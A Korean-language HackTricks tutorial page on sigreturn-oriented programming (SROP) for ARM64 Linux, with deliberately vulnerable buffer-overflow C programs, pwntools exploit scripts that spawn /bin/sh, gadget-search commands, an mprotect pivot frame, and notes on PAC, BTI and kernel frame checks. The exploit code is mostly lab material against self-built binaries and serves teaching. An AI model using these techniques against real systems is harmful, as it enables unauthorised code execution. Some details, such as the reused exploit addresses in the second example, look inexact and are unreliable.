> [!TIP]

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Pwntools 예제

이 예제는 취약한 바이너리를 생성하고 이를 악용하는 것입니다. 바이너리는 스택에 읽어들인 후 **sigreturn**을 호출합니다:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof 예제

코드

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

다음과 같이 컴파일하세요:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

이 익스플로잇은 bof를 악용하여 sigreturn 호출로 돌아가고 스택을 준비하여 **execve**를 /bin/sh에 대한 포인터와 함께 호출합니다.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof 예제 (sigreturn 없음)

코드

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

In the section vdso it's possible to find a call to sigreturn in the offset 0x7b0:

따라서, 유출된 경우, 이 주소를 사용하여 sigreturn에 접근할 수 있습니다 이진 파일이 이를 로드하지 않는 경우:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

더 많은 정보는 vdso에 대해 확인하세요:

Ret2vDSO

그리고 /bin/sh의 주소를 우회하기 위해 여러 개의 환경 변수를 생성할 수 있습니다. 더 많은 정보는:

ASLR


sigreturn 가젯 자동 찾기 (2023-2025)

현대 배포판에서 sigreturn 트램폴린은 여전히 vDSO 페이지에 의해 내보내지지만, 정확한 오프셋은 커널 버전 및 BTI(+branch-protection) 또는 PAC과 같은 빌드 플래그에 따라 달라질 수 있습니다. 이를 자동화하면 오프셋을 하드코딩하는 것을 방지할 수 있습니다:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

두 도구는 AArch64 인코딩을 이해하며 SROP 가젯으로 사용할 수 있는 mov x8, 0x8b ; svc #0 시퀀스를 나열합니다.

참고: 바이너리가 BTI로 컴파일되면 모든 유효한 간접 분기 대상의 첫 번째 명령어는 bti c입니다. 링커에 의해 배치된 sigreturn 트램폴린은 이미 올바른 BTI 착륙 패드를 포함하고 있어 가젯이 비특권 코드에서 여전히 사용 가능합니다.

ROP와 SROP 연결하기 (mprotect를 통한 피벗)

rt_sigreturn모든 범용 레지스터와 pstate를 제어할 수 있게 해줍니다. x86에서의 일반적인 패턴은: 1) SROP를 사용하여 mprotect를 호출하고, 2) 쉘코드를 포함하는 새로운 실행 가능한 스택으로 피벗하는 것입니다. ARM64에서도 동일한 아이디어가 작동합니다:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

프레임을 전송한 후, 0x400000+0x100에 원시 셸 코드를 포함하는 두 번째 단계를 전송할 수 있습니다. AArch64PC-relative 주소 지정을 사용하므로, 큰 ROP 체인을 구축하는 것보다 더 편리한 경우가 많습니다.

커널 검증, PAC 및 섀도우 스택

Linux 5.16은 사용자 공간 신호 프레임에 대한 더 엄격한 검증을 도입했습니다 (커밋 36f5a6c73096). 커널은 이제 다음을 확인합니다:

  • uc_flagsextra_context가 존재할 때 UC_FP_XSTATE를 포함해야 합니다.
  • struct rt_sigframe의 예약어는 0이어야 합니다.
  • extra_context 레코드의 모든 포인터는 정렬되어 있으며 사용자 주소 공간 내를 가리켜야 합니다.

pwntools>=4.10은 자동으로 준수하는 프레임을 생성하지만, 수동으로 구축하는 경우 reserved를 0으로 초기화하고 정말 필요하지 않는 한 SVE 레코드를 생략해야 합니다. 그렇지 않으면 rt_sigreturn이 반환 대신 SIGSEGV를 전달합니다.

주류 Android 14 및 Fedora 38부터 사용자 공간은 기본적으로 PAC (Pointer Authentication) 및 BTI가 활성화된 상태로 컴파일됩니다 (-mbranch-protection=standard). SROP 자체는 영향을 받지 않지만, 커널이 생성된 프레임에서 직접 PC를 덮어쓰므로 스택에 저장된 인증된 LR을 우회합니다. 그러나 간접 분기를 수행하는 후속 ROP 체인은 BTI가 활성화된 명령어 또는 PAC된 주소로 점프해야 합니다. 가젯을 선택할 때 이를 염두에 두십시오.

ARMv8.9에서 도입된 섀도우 호출 스택(이미 ChromeOS 1.27+에서 활성화됨)은 컴파일러 수준의 완화 조치이며, SROP에 간섭하지 않습니다. 왜냐하면 반환 명령어가 실행되지 않기 때문입니다. 제어 흐름은 커널에 의해 전송됩니다.

참조

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기